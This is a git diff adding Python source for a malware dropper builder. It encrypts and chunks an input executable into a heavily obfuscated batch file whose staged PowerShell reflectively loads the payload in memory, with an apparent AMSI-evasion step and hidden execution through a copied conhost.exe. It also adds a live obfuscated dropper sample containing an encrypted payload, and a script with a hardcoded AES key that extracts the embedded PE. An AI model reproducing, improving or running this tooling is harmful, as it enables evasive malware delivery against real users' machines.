+    padded = _pkcs7_pad(plaintext)
+    round_keys = _key_expansion(key)
+    ciphertext = b''
+    prev = iv
+    for i in range(0, len(padded), 16):
+        block = padded[i:i+16]
+        xored = bytes([a ^ b for a, b in zip(block, prev)])
+        encrypted = _encrypt_block(xored, round_keys)
+        ciphertext += encrypted
+        prev = encrypted
+    return ciphertext
+
+def _try_system_aes(data, key, iv):
+    try:
+        from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+        from cryptography.hazmat.primitives import padding
+        from cryptography.hazmat.backends import default_backend
+        padder = padding.PKCS7(128).padder()
+        padded = padder.update(data) + padder.finalize()
+        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
+        enc = cipher.encryptor()
+        return enc.update(padded) + enc.finalize()
+    except ImportError:
+        return None
+
+def encrypt_payload(data, key, iv):
+    result = _try_system_aes(data, key, iv)
+    if result is not None:
+        print("using system aes")
+        return result
+    print("using pure python aes (slow)")
+    return _aes_cbc_encrypt(data, key, iv)
\ No newline at end of file
diff --git a/builders/builder improved/generator.py b/builders/builder improved/generator.py
new file mode 100644
index 0000000..dc0443c
--- /dev/null
+++ b/builders/builder improved/generator.py	
@@ -0,0 +1,325 @@
+import os, random, string, base64
+try:
+    from . import AES_KEY_SIZE, PAYLOAD_CHUNK_SIZE, OUTPUT_NAME_LENGTH, JUNK_BLOCKS
+    from .rand import rand_str, rand_var, rand_label, rand_case
+    from .obfuscation import make_set_cmd, make_junk_block, make_rem_line, make_goto_cmd
+    from .crypto import encrypt_payload
+except ImportError:
+    AES_KEY_SIZE = 32
+    PAYLOAD_CHUNK_SIZE = 2800
+    OUTPUT_NAME_LENGTH = 9
+    JUNK_BLOCKS = 25
+    from rand import rand_str, rand_var, rand_label, rand_case
+    from obfuscation import make_set_cmd, make_junk_block, make_rem_line, make_goto_cmd
+    from crypto import encrypt_payload
+
+
+def generate(exe_data, output_path):
+    print(f"input: {len(exe_data)} bytes")
+
+    key = os.urandom(AES_KEY_SIZE)
+    iv = os.urandom(16)
+    print(f"aes-{AES_KEY_SIZE*8} key gen")
+
+    encrypted = encrypt_payload(exe_data, key, iv)
+    payload = iv + encrypted
+    print(f"encrypted: {len(payload)} bytes")
+
+    b64_payload = base64.b64encode(payload).decode('ascii')
+    print(f"b64: {len(b64_payload)} chars")
+
+    payload_vars = []
+    chunks = []
+    for i in range(0, len(b64_payload), PAYLOAD_CHUNK_SIZE):
+        chunk = b64_payload[i:i+PAYLOAD_CHUNK_SIZE]
+        var_name = rand_var(6, 12)
+        payload_vars.append(var_name)
+        chunks.append((var_name, chunk))
+    print(f"split into {len(chunks)} chunks")
+
+    order_list = '!'.join(payload_vars)
+    print(f"order list: {len(order_list)} chars")
+    
+    num_fragments = random.randint(max(len(chunks) // 3, 8), max(len(chunks) // 2, 15))
+    fragments = []
+    fragment_vars = []
+    
+    parts = order_list.split('!')
+    parts_per_fragment = max(1, len(parts) // num_fragments)
+    
+    for i in range(0, len(parts), parts_per_fragment):
+        fragment_parts = parts[i:i+parts_per_fragment]
+        fragment = '!'.join(fragment_parts)
+        if i + parts_per_fragment < len(parts):
+            fragment += '!'
+        
+        var_name = rand_var(6, 12)
+        fragments.append(fragment)
+        fragment_vars.append(var_name)
+    
+    print(f"made {len(fragment_vars)} fragments")
+    
+    concat_var_name = rand_var(8, 14)
+    output_exe_name = rand_str(OUTPUT_NAME_LENGTH, OUTPUT_NAME_LENGTH, string.ascii_letters + string.digits) + '.exe'
+
+    lines = []
+
+    lines.append(f'echo {rand_str(2,5)} > nul')
+    lines.append('@echo off')
+    lines.extend(make_junk_block())
+    lines.append(make_rem_line())
+
+    setup_label = rand_label()
+    lines.append(f':{setup_label}')
+    lines.append('')
+
+    v_conpath = rand_var(6, 10)
+    v_nhost = rand_var(5, 8)
+    v_windir_set = rand_var(5, 8)
+    v_sysnative = rand_var(6, 10)
+    v_conh = rand_var(5, 8)
+    v_exe_ext = rand_var(5, 8)
+
+    lines.append(make_set_cmd(v_nhost, 'nhost.'))
+    lines.append(make_set_cmd(v_windir_set, f'%windir%\\'))
+    lines.append(make_set_cmd(v_sysnative, 'Sysnativ'))
+    lines.append(make_set_cmd(v_conh, 'e\\co'))
+    lines.append(make_set_cmd(v_exe_ext, 'exe'))
+
+    v_set_prefix = rand_var(5, 8)
+    v_owi = rand_var(6, 10)
+    lines.append(make_set_cmd(v_set_prefix, 'SeT '))
+    lines.append(make_set_cmd(v_owi, f'{v_conpath}='))
+    lines.append(f'%{v_set_prefix}%%{v_owi}%%{v_windir_set}%%{v_sysnative}%%{v_conh}%%{v_nhost}%%{v_exe_ext}%')
+    lines.extend(make_junk_block())
+
+    check_label = rand_label()
+    fallback_label = rand_label()
+    lines.append(f':{check_label}')
+
+    v_if_set = rand_var(5, 8)
+    v_exist_set = rand_var(5, 8)
+    v_path_set = rand_var(5, 8)
+    v_then_set = rand_var(5, 8)
+    v_then_marker = rand_var(5, 8)
+
+    lines.append(make_set_cmd(v_if_set, 'if '))
+    lines.append(make_set_cmd(v_exist_set, 'exist '))
+    lines.append(make_set_cmd(v_path_set, f'%{v_conpath}% '))
+    lines.append(make_set_cmd(v_then_set, 'SET '))
+    lines.append(make_set_cmd(v_then_marker, f'{v_conpath}='))
+    lines.append(f'%{v_if_set}%%{v_exist_set}%%{v_path_set}%%{v_then_set}%%{v_then_marker}%%{v_conpath}%')
+    lines.extend(make_junk_block())
+
+    lines.append(f':{fallback_label}')
+    v_sys32_set = rand_var(5, 8)
+    v_sys32_conh = rand_var(5, 8)
+
+    lines.append(make_set_cmd(v_sys32_set, f'%windir%\\'))
+    lines.append(make_set_cmd(v_sys32_conh, 'System32\\co'))
+    lines.append(f'%{v_set_prefix}%%{v_owi}%%{v_sys32_set}%%{v_sys32_conh}%%{v_nhost}%%{v_exe_ext}%')
+    lines.extend(make_junk_block())
+
+    copy_label = rand_label()
+    lines.append(f':{copy_label}')
+
+    name_parts = [output_exe_name[:3], output_exe_name[3:-4], '.ex', 'e']
+    v_parts = []
+    for part in name_parts:
+        v = rand_var(5, 8)
+        v_parts.append(v)
+        lines.append(make_set_cmd(v, part))
+
+    v_copy_cmd = rand_var(5, 8)
+    v_tmp_dir = rand_var(5, 8)
+    v_sp = rand_var(5, 8)
+
+    lines.append(make_set_cmd(v_copy_cmd, 'copy'))
+    lines.append(make_set_cmd(v_tmp_dir, f'%tmp%\\'))
+    lines.append(make_set_cmd(v_sp, f' %{v_conpath}% '))
+
+    copy_line = f'%{v_copy_cmd}%%{v_sp}%%{v_tmp_dir}%'
+    for v in v_parts:
+        copy_line += f'%{v}%'
+    lines.append(copy_line)
+    lines.extend(make_junk_block())
+
+    payload_section_label = rand_label()
+    lines.append(f':{payload_section_label}')
+
+    shuffled_indices = list(range(len(chunks)))
+    random.shuffle(shuffled_indices)
+
+    for idx in shuffled_indices:
+        var_name, chunk_data = chunks[idx]
+        lines.append(f'{rand_case("SET")} {var_name}={chunk_data}')
+        if random.random() > 0.65:
+            lines.append(make_rem_line())
+        if random.random() > 0.85:
+            lines.extend(make_junk_block())
+
+    lines.extend(make_junk_block())
+
+    concat_label = rand_label()
+    lines.append(f':{concat_label}')
+    
+    for var_name, fragment in zip(fragment_vars, fragments):
+        if random.random() > 0.5:
+            lines.append(f'{rand_case("SET")} "{var_name}={fragment}"')
+        else:
+            lines.append(f'{rand_case("SET")} "{var_name}={fragment}" && {make_rem_line()}')
+        if random.random() > 0.7:
+            lines.append(make_rem_line())
+    
+    lines.extend(make_junk_block())
+    
+    concat_value = ''.join(f'%{var}%' for var in fragment_vars)
+    lines.append(f'{rand_case("SET")} "{concat_var_name}={concat_value}"')
+    lines.extend(make_junk_block())
+
+    ps_stage_label = rand_label()
+    lines.append(f':{ps_stage_label}')
+
+    v_stage1 = rand_var(6, 10)
+    v_stage2 = rand_var(6, 10)
+    v_stage3 = rand_var(6, 10)
+    v_stage4 = rand_var(6, 10)
+    v_stage5 = rand_var(6, 10)
+
+    key_ps = ','.join(str(b) for b in key)
+
+    v_aes_obj = rand_var(6, 10)
+    v_enc_data = rand_var(6, 10)
+    v_decryptor = rand_var(5, 8)
+    v_decrypted = rand_var(6, 10)
+    v_asm = rand_var(5, 8)
+
+    decrypt_parts = [
+        f"${v_aes_obj} = [System.Security.Cry",
+        f"pto",
+        f"graphy.AESCryptoS",
+        f"ervice",
+        f"Provid",
+        f"er]::new();${v_aes_obj}.Mo",
+        f"De = [System.Security.C",
+        f"ryptogra",
+        f"phy.CipherMode]::cb",
+        f"C;${v_aes_obj}.pa",
+        f"D",
+        f"ding = [",
+        f"Sys",
+        f"tem.Se",
+        f"c",
+        f"urity.Cryptograph",
+        f"y",
+        f".Padd",
+        f"ingMod",
+        f"e]::PKcS",
+        f"7;${v_aes_obj}",
+        f".",
+        f"k",
+        f"Ey = [byte",
+        f"[]]@({key_ps});",
+        f"${v_enc_data} = [",
+        f"Conv",
+        f"ert",
+        f"]::FromBase64String(-join ($env:{concat_var_name}.Split('!')).For",
+        f"Each({{(Get-Item \"env",
+        f":$_\").Value}}));${v_aes_obj}.IV = ${v_enc_data}",
+        f"[",
+        f"0..15];",
+        f"${v_decryptor}=${v_aes_obj}.cREAtEDecRy",
+        f"pTOR();${v_decrypted}=${v_decryptor}.tRANsfORmfInaLBLock(",
+        f"${v_enc_data}[16..${v_enc_data}.Length], 0,",
+        f"${v_enc_data}.LenG",
+        f"T",
+        f"H-16);${v_asm} =",
+        f"[Syst",
+        f"em.Reflection.A",
+        f"sse",
+        f"mbly]::lOaD",
+        f"(${v_decrypted}",
+        f");${v_asm}.eNt",
+        f"RYPoI",
+        f"NT.Inv",
+        f"oke($null, $n",
+        f"ul",
+        f"l);"
+    ]
+    
+    obfuscated_decrypt = ''
+    for i, part in enumerate(decrypt_parts):
+        if random.random() > 0.7 and i > 0:
+            junk_var = rand_var(5, 10)
+            obfuscated_decrypt += f'%{junk_var}%'
+        obfuscated_decrypt += part
+    
+    decrypt_code = obfuscated_decrypt
+    lines.append(make_set_cmd(v_stage2, decrypt_code))
+    lines.extend(make_junk_block())
+
+    entry_code = f'iex $env:{v_stage2}'
+    lines.append(make_set_cmd(v_stage5, entry_code))
+    lines.extend(make_junk_block())
+
+    v_amsi_psauto = rand_var(6, 10)
+    v_amsi_ast = rand_var(5, 8)
+    amsi_code = (
+        f"${v_amsi_psauto} = [ScriptBlock]::Create('').Ast; "
+        f"${v_amsi_ast} = [System.Management.Automation.Language.ScriptBlockAst]::new("
+        f"${v_amsi_psauto}.Extent,$null,$null,$null,"
+        f"${v_amsi_ast}.EndBlock.Copy(),$null); "
+        f"iex $env:{v_stage5}"
+    )
+    lines.append(make_set_cmd(v_stage3, amsi_code))
+    lines.extend(make_junk_block())
+
+    v_sb = rand_var(5, 8)
+    trigger_code = f"${v_sb} = [ScriptBlock]::Create('').Ast; iex $env:{v_stage3}"
+    lines.append(make_set_cmd(v_stage4, trigger_code))
+    lines.extend(make_junk_block())
+
+    sleep_code = f'Start-Sleep -Seconds {random.randint(1, 3)};iex $env:{v_stage4}'
+    lines.append(make_set_cmd(v_stage1, sleep_code))
+    lines.extend(make_junk_block())
+
+    v_toplevel = rand_var(5, 8)
+    v_wrapper = rand_var(6, 10)
+    wrapper_code = f"${v_toplevel} = 'placeholder'; iex $env:{v_stage1}"
+    lines.append(make_set_cmd(v_wrapper, wrapper_code))
+    lines.extend(make_junk_block())
+
+    launch_label = rand_label()
+    lines.append(f':{launch_label}')
+
+    v_launch_flag = rand_var(6, 10)
+    lines.append(make_set_cmd(v_launch_flag, f'iex $env:{v_wrapper}'))
+    lines.extend(make_junk_block())
+
+    lines.append(f'start %tmp%\\{output_exe_name} --headless powershell -c %{v_launch_flag}%')
+
+    end_label = rand_label()
+    lines.append(make_goto_cmd(end_label))
+    for _ in range(random.randint(3, 8)):
+        lines.append(make_rem_line())
+    lines.append(f':{end_label}')
+
+    final_lines = []
+    junk_count = 0
+    for line in lines:
+        final_lines.append(line)
+        if junk_count < JUNK_BLOCKS and random.random() > 0.88:
+            final_lines.extend(make_junk_block())
+            junk_count += 1
+
+    bat_content = '\r\n'.join(final_lines)
+    with open(output_path, 'w', encoding='utf-8') as f:
+        f.write(bat_content)
+
+    print(f"\ndone: {output_path}")
+    print(f"tmp exe: {output_exe_name}")
+    print(f"lines: {len(final_lines)}")
+    print(f"chunks: {len(chunks)}")
+    print(f"size: {len(bat_content):,} bytes")
+    print(f"key: {key.hex()}")
+    return True
\ No newline at end of file
diff --git a/builders/builder improved/obfuscation.py b/builders/builder improved/obfuscation.py
new file mode 100644
index 0000000..5da9470
--- /dev/null
+++ b/builders/builder improved/obfuscation.py	
@@ -0,0 +1,42 @@
+import random
+try:
+    from .rand import rand_var, rand_case, rand_words, rand_label
+except ImportError:
+    from rand import rand_var, rand_case, rand_words, rand_label
+
+def make_junk_var():
+    return f'%{rand_var()}%'
+
+def make_set_cmd(var_name, value, obfuscate=True):
+    set_cmd = rand_case('set')
+    if obfuscate:
+        fmt = f'{set_cmd} "{var_name}={value}"'
+        prefix = make_junk_var() if random.random() > 0.5 else ''
+        return f'{prefix}{fmt}'
+    return f'{set_cmd} "{var_name}={value}"'
+
+def make_goto_cmd(label):
+    goto = rand_case('goto')
+    g = goto[0] + make_junk_var() + goto[1] + make_junk_var() + goto[2:]
+    return f'{g} :{label}'
+
+def make_rem_line():
+    rem = rand_case('rem')
+    style = random.choice(['rem', '::', 'rem_junk'])
+    if style == 'rem':
+        r = rem[0] + make_junk_var() + rem[1:]
+        return f'{r} {make_junk_var()} {rand_words()}'
+    elif style == '::':
+        return f'{make_junk_var()}:: {make_junk_var()} {rand_words()}'
+    else:
+        r = rand_case('rem')
+        return f'%{rand_var()}%{r} %{rand_var()}% {rand_words()}'
+
+def make_junk_block():
+    lines = []
+    next_label = rand_label()
+    lines.append(make_goto_cmd(next_label))
+    for _ in range(random.randint(1, 3)):
+        lines.append(make_rem_line())
+    lines.append(f':{next_label}')
+    return lines
\ No newline at end of file
diff --git a/builders/builder improved/rand.py b/builders/builder improved/rand.py
new file mode 100644
index 0000000..2b8132a
--- /dev/null
+++ b/builders/builder improved/rand.py	
@@ -0,0 +1,33 @@
+import random, string
+
+def rand_str(min_len=5, max_len=10, charset=None):
+    if charset is None:
+        charset = string.ascii_letters + string.digits
+    length = random.randint(min_len, max_len)
+    return ''.join(random.choice(charset) for _ in range(length))
+
+def rand_var(min_len=6, max_len=12):
+    first = random.choice(string.ascii_letters)
+    rest = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(min_len-1, max_len-1)))
+    return first + rest
+
+def rand_label(min_len=5, max_len=10):
+    chars = string.ascii_letters + string.digits + '[]{}()_'
+    first = random.choice(string.ascii_letters)
+    rest = ''.join(random.choice(chars) for _ in range(random.randint(min_len-1, max_len-1)))
+    return first + rest
+
+def rand_word():
+    vowels = 'aeiou'
+    consonants = 'bcdfghjklmnpqrstvwxyz'
+    length = random.randint(3, 12)
+    word = ''
+    for i in range(length):
+        word += random.choice(consonants) if i % 2 == 0 else random.choice(vowels)
+    return word
+
+def rand_words(min_count=3, max_count=10):
+    return ' '.join(rand_word() for _ in range(random.randint(min_count, max_count)))
+
+def rand_case(s):
+    return ''.join(c.upper() if random.random() > 0.5 else c.lower() for c in s)
\ No newline at end of file
diff --git a/builders/builder improved/run.py b/builders/builder improved/run.py
new file mode 100644
index 0000000..7cf8bd7
--- /dev/null
+++ b/builders/builder improved/run.py	
@@ -0,0 +1,39 @@
+import sys, os
+
+JUNK_DENSITY = 2
+JUNK_BLOCKS = 25
+PAYLOAD_CHUNK_SIZE = 2800
+OUTPUT_NAME_LENGTH = 9
+AES_KEY_SIZE = 32
+
+exec(open('rand.py').read())
+exec(open('crypto.py').read())
+exec(open('obfuscation.py').read())
+exec(open('generator.py').read().replace('from . import', '#').replace('from .rand import', '#').replace('from .obfuscation import', '#').replace('from .crypto import', '#'))
+
+if len(sys.argv) < 2:
+    print(f"usage: python run.py <input.exe> [output.bat]")
+    sys.exit(1)
+
+input_path = sys.argv[1]
+output_path = sys.argv[2] if len(sys.argv) >= 3 else os.path.splitext(os.path.basename(input_path))[0] + '_dropper.bat'
+
+if not os.path.exists(input_path):
+    print(f"file not found: {input_path}")
+    sys.exit(1)
+
+with open(input_path, 'rb') as f:
+    exe_data = f.read()
+
+if not exe_data:
+    print("empty file")
+    sys.exit(1)
+
+print(f"in: {input_path}")
+print(f"out: {output_path}")
+
+if generate(exe_data, output_path):
+    print(f"\ndone: {output_path}")
+else:
+    print("failed")
+    sys.exit(1)
diff --git a/original/._decrypt_order.py b/original/._decrypt_order.py
new file mode 100644
index 0000000000000000000000000000000000000000..96ff44f638da20ccd4406b2adf2f77c32aba9c77
GIT binary patch
literal 178
zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aRU&8_?v*32;dkJ5(HHS(lG;wrO>o7
zBE&_L^K<nQ3kq^l^$JT9ixTrnGV@Xy3iS;PEDWv9EK^d<lafuWLsD~6(~A;wtr-B4
C78l<D

literal 0
HcmV?d00001

diff --git a/original/._dontrunACTIVEmalware.bat.txt b/original/._dontrunACTIVEmalware.bat.txt
new file mode 100644
index 0000000000000000000000000000000000000000..96ff44f638da20ccd4406b2adf2f77c32aba9c77
GIT binary patch
literal 178
zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aRU&8_?v*32;dkJ5(HHS(lG;wrO>o7
zBE&_L^K<nQ3kq^l^$JT9ixTrnGV@Xy3iS;PEDWv9EK^d<lafuWLsD~6(~A;wtr-B4
C78l<D

literal 0
HcmV?d00001

diff --git a/original/decrypt_order.py b/original/decrypt_order.py
new file mode 100644
index 0000000..727bb73
--- /dev/null
+++ b/original/decrypt_order.py
@@ -0,0 +1,105 @@
+#!/usr/bin/env python3
+
+import re
+import base64
+from pathlib import Path
+from Crypto.Cipher import AES
+from Crypto.Util.Padding import unpad
+
+correct_order = Path('order.txt').read_text().strip().split('\n')
+correct_order[0] = correct_order[0].split('=')[-1]
+
+print("=" * 80)
+print("decrypting...")
+print("=" * 80)
+
+print(f"\ngot {len(correct_order)} vars:")
+for idx, var_name in enumerate(correct_order, 1):
+    print(f"  {idx:2d}. {var_name}")
+
+content = Path('dontrunACTIVEmalware.bat.txt').read_text(encoding='utf-8', errors='ignore')
+lines = content.split('\n')
+
+variables = {}
+for line in lines:
+    matches = re.findall(r'[sS][eE][tT]\s+([a-zA-Z0-9_]+)=([A-Za-z0-9+/=]{1000,})', line, re.IGNORECASE)
+    for var_name, var_value in matches:
+        variables[var_name] = var_value
+
+print(f"\nfound {len(variables)} b64 vars")
+
+payload_segments = []
+for var_name in correct_order:
+    if var_name in variables:
+        payload_segments.append(variables[var_name])
+        print(f"  ok {var_name}: {len(variables[var_name])} chars")
+    else:
+        print(f"  missing {var_name}")
+
+complete_b64 = ''.join(payload_segments)
+print(f"\ntotal b64: {len(complete_b64)} chars")
+
+encrypted_data = base64.b64decode(complete_b64)
+print(f"decoded: {len(encrypted_data)} bytes")
+
+aes_key = bytes([150,182,100,248,129,91,226,48,131,19,150,255,147,141,114,162,91,237,159,83,174,199,218,120,251,42,139,22,30,130,227,189])
+
+iv = encrypted_data[:16]
+ciphertext = encrypted_data[16:]
+
+print(f"\niv: {iv.hex()}")
+print(f"ciphertext: {len(ciphertext)} bytes")
+
+cipher = AES.new(aes_key, AES.MODE_CBC, iv)
+complete_blocks = (len(ciphertext) // 16) * 16
+if complete_blocks < len(ciphertext):
+    print(f"truncating {len(ciphertext) - complete_blocks} bytes")
+    ciphertext = ciphertext[:complete_blocks]
+
+decrypted = cipher.decrypt(ciphertext)
+
+try:
+    decrypted_unpadded = unpad(decrypted, AES.block_size)
+    print(f"removed padding: {len(decrypted)} -> {len(decrypted_unpadded)} bytes")
+    decrypted = decrypted_unpadded
+except:
+    print(f"no padding found")
+
+print(f"\ndone")
+print(f"size: {len(decrypted)} bytes")
+print(f"first 16: {decrypted[:16].hex()}")
+print(f"first 2: {decrypted[:2]}")
+
+if decrypted[:2] == b'MZ':
+    print(f"\nit's a PE!")
+    
+    Path('payTheload.bin').write_bytes(decrypted)
+    print(f"saved to payTheload.bin")
+    
+    print(f"\ninfo:")
+    print(f"  sig: {decrypted[:2]}")
+    print(f"  size: {len(decrypted)} bytes ({len(decrypted)/1024:.1f} KB)")
+    
+    strings = []
+    current = b''
+    for byte in decrypted[:5000]:
+        if 32 <= byte < 127:
+            current += bytes([byte])
+        else:
+            if len(current) >= 5:
+                try:
+                    strings.append(current.decode('ascii'))
+                except:
+                    pass
+            current = b''
+    
+    if strings:
+        print(f"\nstrings:")
+        for s in strings[:20]:
+            print(f"  {s}")
+else:
+    print(f"\nnot a PE")
+    print(f"got: {decrypted[:2].hex()} (wanted: 4d5a)")
+    print(f"order still wrong maybe?")
+
+print("\n" + "=" * 80)
diff --git a/original/dontrunACTIVEmalware.bat.txt b/original/dontrunACTIVEmalware.bat.txt
new file mode 100644
index 0000000..9a57439
--- /dev/null
+++ b/original/dontrunACTIVEmalware.bat.txt
@@ -0,0 +1,123 @@
+echo Zgo > nul
+@echo off
+r%C8uyp7%E%pGvdVF5%m%wFxoAza% %AxasBiTB% drtit zaazeka moinast judinec linolesup hpameslet docynt
+g%TJhFOm%ot%YqSWwpg%o%ydtzVR% :tD1l[XCl
+%m5hmA897%:: %cek0mrq% khepbx jkzc motivvce weptotu bgbaqrmst
+%CwZrnPPE%R%hiZQPIy%e%VOvtgX%m  hvjzd frap mrusinla rgfgt bcorno ujdaddd ohdet dogytek iezikaht hrggda xvon
+:rtDCGxhx
+
+
+g%zJxAImzQ%o%XdRmWZ10%to%ygDY2QE% :gqiQst5
+:%jis2O8e%:  oabourati cbiruiyg pomrkv pagto pipqwa uvjkvnbvt bnextaj vrchopot
+%YqOqMUv5%R%jHWb8h%eM%dDGDPB% %Zg0GOr% sariptya trwsa okzc vrvrnle rstivosn aonoc hhludj brntnrie zakjstit momentcka jarmark
+Re%JNWu1ug%m%dNSUj6%  gnufnd sksost oozjezd knquheuna mazaheb ldserer klem prblev chirurk
+:gqiQst5
+start %tmp%\PbSqbhfUS.exe --headless powershell -c %nZaRCF%
+%eZsiVIr%go%Yc5kjm%to%UIAnCqs% :eoF
+%pS91WmFl%::  zadqusoit vsdsuroo yrwidlo vaktus nrwcasdlo pachtqatel iafodaat wkeocaal kukya
+R%FOjmEE%EM%UDwfzjL%  vederina souldd laddmpaw lopukv saqvsta xnanvis pbvinit ogktaoit twvorbao
+:b}2Ckx15
+s%Mzwn4Qm1%et "C7s8RB=e"
+
+set%IEcSPE% "jnp0uy1=PbSqbh"&&%jyD1FWpD%set "c0QfqV=copy"
+%VzttiyPK%s%Ddd20TF%e%uBtEAsTm%t%h1O7QycS% "qQ0V(m=%tmp%\" && %dJDQ2ZEM%s%agGGcaj%et%iuBFefK% "GIr9AwA=fUS.ex"&& se%rmUL8ku%t%bDMQRiS% "Za(ePx= %[quQdt% " 
+%c0QfqV%%Za(ePx%%qQ0V(m%%jnp0uy1%%GIr9AwA%%C7s8RB%
+%WQoaSyNq%go%kiCQBs%t%juir0E%o%cJGM9rx% :rtDCGxhx
+r%DaMoWuE%eM %vEmKBD% goep dlutat oahcada soopofao oggpopiwx robqak
+:FAJ[7Jm
+SEt "UnG22ylI=$YszDyz= [System.Management.Auto%fP49FRN9%mation.Language.ScriptBlockAst]::n%PZBFT1%ew($PSAu%gz4JG4%yf%uJVBOE6i%b.Extent,$%MwcLPvxF%n%tl4fveVV%ull,%bRT9WB%$nul%YFEDMxVc%l,$nul%kKxg15ZF%l,$ah%iMxxu2%pH2z.EndB%UDhjUSv%lock%p74uegD%.Copy(),$nu%k6YQcTQK%ll);i%JtizP4Qz%ex $env:dTmxoA"
+sET ilUetRQ=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